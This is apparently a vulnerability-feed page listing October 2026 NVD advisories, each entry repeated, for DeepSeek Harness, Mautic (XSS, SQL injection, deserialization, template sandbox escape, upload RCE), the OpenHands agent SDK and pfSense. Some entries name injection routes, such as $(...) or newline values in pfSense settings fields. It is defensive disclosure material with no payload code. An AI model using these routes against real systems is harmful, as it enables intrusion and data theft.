A vulnerability was found in DeepSeek Harness up to 0.1.0-rc.5. This vulnerability affects the function createContext of the file packages/extensions/cordis-host-runner/src/sandbox.ts. The manipulation results in sandbox issue. It is possible to launch the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 5.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-116367).
Sources:
NVD CVE-2026-116367: https://nvd.nist.gov/vuln/detail/CVE-2026-116367
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
A vulnerability was found in DeepSeek Harness up to 0.1.0-rc.5. This vulnerability affects the function createContext of the file packages/extensions/cordis-host-runner/src/sandbox.ts. The manipulation results in sandbox issue. It is possible to launch the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stored Cross-Site Scripting (XSS) vulnerability exists in the contact detail view of Mautic 7.
https://kevwire.com/record/CVE-2026-115193
A stored Cross-Site Scripting (XSS) vulnerability exists in the contact detail view of Mautic 7. (Oct 26, 2026).
A stored Cross-Site Scripting (XSS) vulnerability exists in the contact detail view of Mautic 7. Values of HTML-type custom contact fields are rendered without output sanitization. A user or integration able to write a value to such a field (for example, through contact editing, the contact API, or a form submission mapped to the field) can store a script payload in it. When another user, including an administrator, opens the affected contact's detail page, the injected script executes within the context of their active browser session. This could allow an attacker to perform administrative actions on behalf of the victim, such as creating new administrator accounts, altering system configuration, or accessing contact and campaign data.
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115193).
Sources:
NVD CVE-2026-115193: https://nvd.nist.gov/vuln/detail/CVE-2026-115193
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
A stored Cross-Site Scripting (XSS) vulnerability exists in the contact detail view of Mautic 7. Values of HTML-type custom contact fields are rendered without output sanitization. A user or integration able to write a value to such a field (for example, through contact editing, the contact API, or a form submission mapped to the field) can store a script payload in it. When another user, including an administrator, opens the affected contact's detail page, the injected script executes within the context of their active browser session. This could allow an attacker to perform administrative actions on behalf of the victim, such as creating new administrator accounts, altering system configuration, or accessing contact and campaign data.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An SQL Injection vulnerability exists in the dashboard widget data API endpoint (/api/data/{type}).
https://kevwire.com/record/CVE-2026-115192
An SQL Injection vulnerability exists in the dashboard widget data API endpoint (/api/data/{type}). (Oct 26, 2026).
An SQL Injection vulnerability exists in the dashboard widget data API endpoint (/api/data/{type}). Chart filter parameters supplied by the client are not properly validated before they are used in the database queries that build dashboard chart data. An authenticated user with API access can exploit this to inject SQL into these reporting queries. Using blind SQL injection techniques, the attacker can read arbitrary data from the Mautic database, including contact and other marketing data and user account data with password hashes. The injected SQL can also be used to slow down database queries, which can have a limited impact on availability. Data modification is not possible through this vulnerability. Exploitation requires the Mautic API to be enabled.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115192).
Sources:
NVD CVE-2026-115192: https://nvd.nist.gov/vuln/detail/CVE-2026-115192
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
An SQL Injection vulnerability exists in the dashboard widget data API endpoint (/api/data/{type}). Chart filter parameters supplied by the client are not properly validated before they are used in the database queries that build dashboard chart data. An authenticated user with API access can exploit this to inject SQL into these reporting queries. Using blind SQL injection techniques, the attacker can read arbitrary data from the Mautic database, including contact and other marketing data and user account data with password hashes. The injected SQL can also be used to slow down database queries, which can have a limited impact on availability. Data modification is not possible through this vulnerability. Exploitation requires the Mautic API to be enabled.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A SQL injection vulnerability exists in a contact lookup AJAX endpoint of the Mautic administration interface (/s/ajax).
https://kevwire.com/record/CVE-2026-115191
A SQL injection vulnerability exists in a contact lookup AJAX endpoint of the Mautic administration interface (/s/ajax). (Oct 26, 2026).
A SQL injection vulnerability exists in a contact lookup AJAX endpoint of the Mautic administration interface (/s/ajax). A request parameter that selects the contact field to search by is not properly validated before it is used in a database query. Any authenticated Mautic user can exploit this, regardless of the role or permissions assigned to the account. Using blind (boolean-based or time-based) techniques, the attacker can run arbitrary SQL queries against the Mautic database and read any data the Mautic database user can access, including Mautic user accounts with email addresses and password hashes, contact data, and campaign and email content.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115191).
Sources:
NVD CVE-2026-115191: https://nvd.nist.gov/vuln/detail/CVE-2026-115191
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
A SQL injection vulnerability exists in a contact lookup AJAX endpoint of the Mautic administration interface (/s/ajax). A request parameter that selects the contact field to search by is not properly validated before it is used in a database query. Any authenticated Mautic user can exploit this, regardless of the role or permissions assigned to the account. Using blind (boolean-based or time-based) techniques, the attacker can run arbitrary SQL queries against the Mautic database and read any data the Mautic database user can access, including Mautic user accounts with email addresses and password hashes, contact data, and campaign and email content.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An insecure deserialization (PHP object injection) vulnerability exists in Mautic's handling of segment filters and custom field properties.
https://kevwire.com/record/CVE-2026-115190
An insecure deserialization (PHP object injection) vulnerability exists in Mautic's handling of segment filters and custom field properties. (Oct 26, 2026).
An insecure deserialization (PHP object injection) vulnerability exists in Mautic's handling of segment filters and custom field properties. Several code paths that read these stored values from the database deserialize them without restricting which PHP classes may be instantiated, instead of using Mautic's safe deserialization helper. An attacker who is able to store a crafted serialized value in these segment filter or custom field properties can cause arbitrary PHP objects to be instantiated when Mautic later processes the data, for example during segment evaluation, contact export, or custom field API requests. Combined with gadget chains available in Mautic's dependencies, this could allow an attacker to execute arbitrary code on the server, read, modify, or delete data stored in the Mautic instance, including contact data, and affect its availability. Exploitation requires high privileges or an existing ability to write to the affected stored data.
CVSS 8.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115190).
Sources:
NVD CVE-2026-115190: https://nvd.nist.gov/vuln/detail/CVE-2026-115190
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
An insecure deserialization (PHP object injection) vulnerability exists in Mautic's handling of segment filters and custom field properties. Several code paths that read these stored values from the database deserialize them without restricting which PHP classes may be instantiated, instead of using Mautic's safe deserialization helper. An attacker who is able to store a crafted serialized value in these segment filter or custom field properties can cause arbitrary PHP objects to be instantiated when Mautic later processes the data, for example during segment evaluation, contact export, or custom field API requests. Combined with gadget chains available in Mautic's dependencies, this could allow an attacker to execute arbitrary code on the server, read, modify, or delete data stored in the Mautic instance, including contact data, and affect its availability. Exploitation requires high privileges or an existing ability to write to the affected stored data.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A server-side template injection vulnerability exists in the Twig theme rendering sandbox of Mautic.
https://kevwire.com/record/CVE-2026-115189
A server-side template injection vulnerability exists in the Twig theme rendering sandbox of Mautic. (Oct 26, 2026).
A server-side template injection vulnerability exists in the Twig theme rendering sandbox of Mautic. The sandbox introduced to restrict user-uploaded theme templates (the fix for GHSA-9fx4-7cmj-47vg) does not fully enforce its restrictions, allowing a crafted theme template to escape the sandbox. An authenticated user with the core:themes:create permission can upload a malicious theme whose template is later rendered, resulting in execution of arbitrary code on the server with the privileges of the web server process. This allows the attacker to execute operating system commands, read server-side files including configuration files and database credentials, write files, and reach internal services. In default installations the core:themes:create permission is granted to the Administrator role, and in multi-operator setups it may be delegated to other roles. This is an incomplete fix for GHSA-9fx4-7cmj-47vg.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115189).
Sources:
NVD CVE-2026-115189: https://nvd.nist.gov/vuln/detail/CVE-2026-115189
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
A server-side template injection vulnerability exists in the Twig theme rendering sandbox of Mautic. The sandbox introduced to restrict user-uploaded theme templates (the fix for GHSA-9fx4-7cmj-47vg) does not fully enforce its restrictions, allowing a crafted theme template to escape the sandbox. An authenticated user with the core:themes:create permission can upload a malicious theme whose template is later rendered, resulting in execution of arbitrary code on the server with the privileges of the web server process. This allows the attacker to execute operating system commands, read server-side files including configuration files and database credentials, write files, and reach internal services. In default installations the core:themes:create permission is granted to the Administrator role, and in multi-operator setups it may be delegated to other roles. This is an incomplete fix for GHSA-9fx4-7cmj-47vg.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unrestricted file upload vulnerability exists in the campaign import feature of Mautic 7.
https://kevwire.com/record/CVE-2026-115188
An unrestricted file upload vulnerability exists in the campaign import feature of Mautic 7. (Oct 26, 2026).
An unrestricted file upload vulnerability exists in the campaign import feature of Mautic 7. When processing an uploaded campaign archive, the application copies the bundled asset files into a publicly accessible media directory without restricting their file names or types. An authenticated user with permission to create campaign imports can exploit this through the user interface or the API (/api/campaigns/import) to place arbitrary files, including server-side scripts, in the web root. Administrator privileges are not required. On web servers that honor per-directory configuration, such as the default Apache setup of the official Mautic Docker image, this leads to remote code execution with the privileges of the web server user, including access to the Mautic configuration, application secrets, and contact data.
CVSS 9.9 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115188).
Sources:
NVD CVE-2026-115188: https://nvd.nist.gov/vuln/detail/CVE-2026-115188
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500
An unrestricted file upload vulnerability exists in the campaign import feature of Mautic 7. When processing an uploaded campaign archive, the application copies the bundled asset files into a publicly accessible media directory without restricting their file names or types. An authenticated user with permission to create campaign imports can exploit this through the user interface or the API (/api/campaigns/import) to place arbitrary files, including server-side scripts, in the web root. Administrator privileges are not required. On web servers that honor per-directory configuration, such as the default Apache setup of the official Mautic Docker image, this leads to remote code execution with the privileges of the web server user, including access to the Mautic configuration, application secrets, and contact data.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenHands Software Agent SDK before 1.52.0 contains an unauthenticated remote code execution vulnerability where the DockerWorkspace and Apptainer workspace launchers bind the...
https://kevwire.com/record/CVE-2026-112346
OpenHands Software Agent SDK before 1.52.0 contains an unauthenticated remote code execution vulnerability where the DockerWorkspace and Apptainer workspace launchers bind the... (Oct 26, 2026).
OpenHands Software Agent SDK before 1.52.0 contains an unauthenticated remote code execution vulnerability where the DockerWorkspace and Apptainer workspace launchers bind the sandbox agent server to all network interfaces (0.0.0.0) with an empty session_api_keys list, disabling authentication by default. Attackers who can reach the published container port can send unauthenticated HTTP and WebSocket requests to execute arbitrary shell commands as root in the sandbox, access the mounted workspace, and read plaintext secrets from the secrets store.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112346).
Sources:
NVD CVE-2026-112346: https://nvd.nist.gov/vuln/detail/CVE-2026-112346
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
OpenHands Software Agent SDK before 1.52.0 contains an unauthenticated remote code execution vulnerability where the DockerWorkspace and Apptainer workspace launchers bind the sandbox agent server to all network interfaces (0.0.0.0) with an empty session_api_keys list, disabling authentication by default. Attackers who can reach the published container port can send unauthenticated HTTP and WebSocket requests to execute arbitrary shell commands as root in the sandbox, access the mounted workspace, and read plaintext secrets from the secrets store.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netgate pfSense CE through 2.9.0 contains an authorization bypass vulnerability that allows read-only WebGUI users to replace config.xml because config_restore() and...
https://kevwire.com/record/CVE-2026-111231
Netgate pfSense CE through 2.9.0 contains an authorization bypass vulnerability that allows read-only WebGUI users to replace config.xml because config_restore() and... (Oct 15, 2026).
Netgate pfSense CE through 2.9.0 contains an authorization bypass vulnerability that allows read-only WebGUI users to replace config.xml because config_restore() and config_install() ignore the 'User - Config: Deny Config Write' privilege. Attackers holding page privileges for services_acb.php, uploadconfig.php, diag_confbak.php, or diag_backup.php can install a chosen config.xml to gain root-level code execution after reload or reboot.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111231).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111231&date=2026-10-25).
Sources:
NVD CVE-2026-111231: https://nvd.nist.gov/vuln/detail/CVE-2026-111231
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111231&date=2026-10-25
Netgate pfSense CE through 2.9.0 contains an authorization bypass vulnerability that allows read-only WebGUI users to replace config.xml because config_restore() and config_install() ignore the 'User - Config: Deny Config Write' privilege. Attackers holding page privileges for services_acb.php, uploadconfig.php, diag_confbak.php, or diag_backup.php can install a chosen config.xml to gain root-level code execution after reload or reboot.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pfSense CE 2.4.5 through 2.9.0 contains an OS command injection vulnerability that allows authenticated WebGUI users with Advanced Admin Access privilege to execute commands as...
https://kevwire.com/record/CVE-2026-111226
pfSense CE 2.4.5 through 2.9.0 contains an OS command injection vulnerability that allows authenticated WebGUI users with Advanced Admin Access privilege to execute commands as... (Oct 15, 2026).
pfSense CE 2.4.5 through 2.9.0 contains an OS command injection vulnerability that allows authenticated WebGUI users with Advanced Admin Access privilege to execute commands as root via Login Protection settings. Attackers can submit sshguard threshold, block time, or detection time values containing newlines or $(...) that are written unvalidated to sshguard.conf and sourced as root on restart.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111226).
EPSS 6.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111226&date=2026-10-25).
Sources:
NVD CVE-2026-111226: https://nvd.nist.gov/vuln/detail/CVE-2026-111226
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111226&date=2026-10-25
pfSense CE 2.4.5 through 2.9.0 contains an OS command injection vulnerability that allows authenticated WebGUI users with Advanced Admin Access privilege to execute commands as root via Login Protection settings. Attackers can submit sshguard threshold, block time, or detection time values containing newlines or $(...) that are written unvalidated to sshguard.conf and sourced as root on restart.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netgate pfSense CE through 2.9.0 contains a configuration injection vulnerability that allows authenticated WebGUI users to inject mpd5 commands by submitting an unescaped RADIUS...
https://kevwire.com/record/CVE-2026-111221
Netgate pfSense CE through 2.9.0 contains a configuration injection vulnerability that allows authenticated WebGUI users to inject mpd5 commands by submitting an unescaped RADIUS... (Oct 15, 2026).
Netgate pfSense CE through 2.9.0 contains a configuration injection vulnerability that allows authenticated WebGUI users to inject mpd5 commands by submitting an unescaped RADIUS shared secret. Attackers with L2TP or PPPoE Server edit privileges can POST a secret containing a quote and newline to vpn_l2tp.php or services_pppoe_edit.php, appending an up-script that executes as root when a session starts.
CVSS 7.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111221).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111221&date=2026-10-25).
Sources:
NVD CVE-2026-111221: https://nvd.nist.gov/vuln/detail/CVE-2026-111221
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111221&date=2026-10-25
Netgate pfSense CE through 2.9.0 contains a configuration injection vulnerability that allows authenticated WebGUI users to inject mpd5 commands by submitting an unescaped RADIUS shared secret. Attackers with L2TP or PPPoE Server edit privileges can POST a secret containing a quote and newline to vpn_l2tp.php or services_pppoe_edit.php, appending an up-script that executes as root when a session starts.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with gateway edit privileges to execute commands as root by...
https://kevwire.com/record/CVE-2026-111216
Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with gateway edit privileges to execute commands as root by... (Oct 15, 2026).
Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with gateway edit privileges to execute commands as root by injecting shell metacharacters into an IPv6 link-local zone index. Attackers can set a gateway Monitor IP whose unvalidated zone carries a payload, which start_dpinger() passes unescaped to the dpinger shell command when monitoring is applied.
CVSS 8.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111216).
EPSS 4.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111216&date=2026-10-25).
Sources:
NVD CVE-2026-111216: https://nvd.nist.gov/vuln/detail/CVE-2026-111216
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111216&date=2026-10-25
Netgate pfSense CE through 2.9.0 contains an OS command injection vulnerability that allows authenticated users with gateway edit privileges to execute commands as root by injecting shell metacharacters into an IPv6 link-local zone index. Attackers can set a gateway Monitor IP whose unvalidated zone carries a payload, which start_dpinger() passes unescaped to the dpinger shell command when monitoring is applied.

